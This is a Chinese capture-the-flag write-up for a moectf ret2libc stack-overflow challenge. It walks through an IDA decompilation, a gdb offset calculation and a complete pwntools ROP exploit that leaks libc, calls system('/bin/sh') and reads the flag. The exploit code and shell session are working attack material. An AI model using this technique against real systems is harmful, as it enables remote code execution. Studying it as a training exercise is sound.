本文为人工撰写,仅使用生成式AI校对。
根据题目提示,本题是ret2libc1
依旧还是塞进IDA。
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("The Oracle speaks...");
puts("There is no system function in the .text segment.");
printf("A gift of forbidden knowledge, the location of 'printf': %p\n", &printf);
vuln();
return 0;
}
ssize_t vuln()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("\nNow, show me what you can do with this knowledge:");
printf("> ");
return read(0, buf, 0x100uLL);
}
这里给定了printf的地址,并且给了我们libc.so.6,可以算出libc的基址然后再次偏移。
但是看起来程序本体内不存在system和"/bin/sh"。
所以我们需要去libc里去请这两位。
由System V AMD64 ABI约定,system就一个输入,使用
RDI寄存器,所以我们需要在跳转到system之前,把字符串的地址放到RDI中。可以使用POP RDI来把栈上地址赋给RDI
这里我们需要寻找这样的gadget:
POP RDI
RET
并且构造溢出使得栈:
system地址
字符串地址
gadget地址
只需要一次就能够完成整个过程,非常的优雅非常的酷炫。
很遗憾我们没有找到美丽的。
5F pop rdi
C3 retn
但是我们找到了。
.text:000000000002A3E4 41 5F pop r15
.text:000000000002A3E6 C3 retn
截一段也能用。
下面开始栈溢出工作。
.text:0000000000401215 call printf
.text:000000000040121A lea rax, [rbp+buf]
.text:000000000040121E mov edx, 100h ; nbytes
.text:0000000000401223 mov rsi, rax ; buf
.text:0000000000401226 mov edi, 0 ; fd
.text:000000000040122B call _read
.text:0000000000401230 nop
.text:0000000000401231 leave
.text:0000000000401232 retn
找到buf的地址,在rsi寄存器内。
然后gdb打断点,查看寄存器。
GNU gdb (Ubuntu 15.1-1ubuntu1~24.04.1) 15.1
...
(gdb) b *0x401226
Breakpoint 1 at 0x401226
(gdb) r
Starting program: /mnt/path/to/pwn
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
The Oracle speaks...
There is no system function in the .text segment.
A gift of forbidden knowledge, the location of 'printf': 0x7ffff7c60100
Now, show me what you can do with this knowledge:
>
Breakpoint 1, 0x0000000000401226 in vuln ()
(gdb) info registers
rax 0x7fffffffd7b0 140737488345008
rbx 0x7fffffffd928 140737488345384
rcx 0x0 0
rdx 0x100 256
rsi 0x7fffffffd7b0 140737488345008
rdi 0x7fffffffd5d0 140737488344528
rbp 0x7fffffffd7f0 0x7fffffffd7f0
rsp 0x7fffffffd7b0 0x7fffffffd7b0
...
buf的地址为0x7fffffffd7b0。
栈底rbp在0x7fffffffd7f0。
所以返回地址距离buf为0xf0 - 0xb0 + 0x8 = 0x48 即 72个字节。
pwntools脚本:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = connect("127.0.0.1", 11997)
io.recvuntil(b'\'printf\':')
data = int(io.recv(16), 16)
print(hex(data))
print((data))
baseAdd = data - 0x606f0
gadgetAdd = baseAdd + 0x2a3e5
stringAdd = baseAdd + 0x1d8678
systemAdd = baseAdd + 0x50d70
retAdd = baseAdd + 0xc6c2f
io.send(b'A' * 72 + p64(gadgetAdd) + p64(stringAdd) + p64(retAdd) + p64(systemAdd))
io.interactive()
这里我们在gadget中额外调用了一次ret,但是没有对应的call,造成了rsp没有16位对齐。
所以需要额外ret一次来对齐。
[x] Opening connection to 127.0.0.1 on port 11997
[x] Opening connection to 127.0.0.1 on port 11997: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 11997: Done
[DEBUG] Received 0x14 bytes:
b'The Oracle speaks...'
[DEBUG] Received 0xb0 bytes:
b'\n'
b'There is no system function in the .text segment.\n'
b"A gift of forbidden knowledge, the location of 'printf': 0x7feccf7716f0\n"
b'\n'
b'Now, show me what you can do with this knowledge:\n'
b'> '
0x7feccf7716f0
140655069697776
[DEBUG] Sent 0x68 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 41 41 41 41 41 41 41 41 e5 b3 73 cf ec 7f 00 00 │AAAA│AAAA│··s·│····│
00000050 78 96 8e cf ec 7f 00 00 2f 7c 7d cf ec 7f 00 00 │x···│····│/|}·│····│
00000060 70 1d 76 cf ec 7f 00 00 │p·v·│····│
00000068
[*] Switching to interactive mode
Now, show me what you can do with this knowledge:
> ls
[DEBUG] Sent ...
[DEBUG] Received ...
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
cat flag
[DEBUG] Sent ...
[DEBUG] Received ...
moectf{THIS_IS_FLAG}
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 11997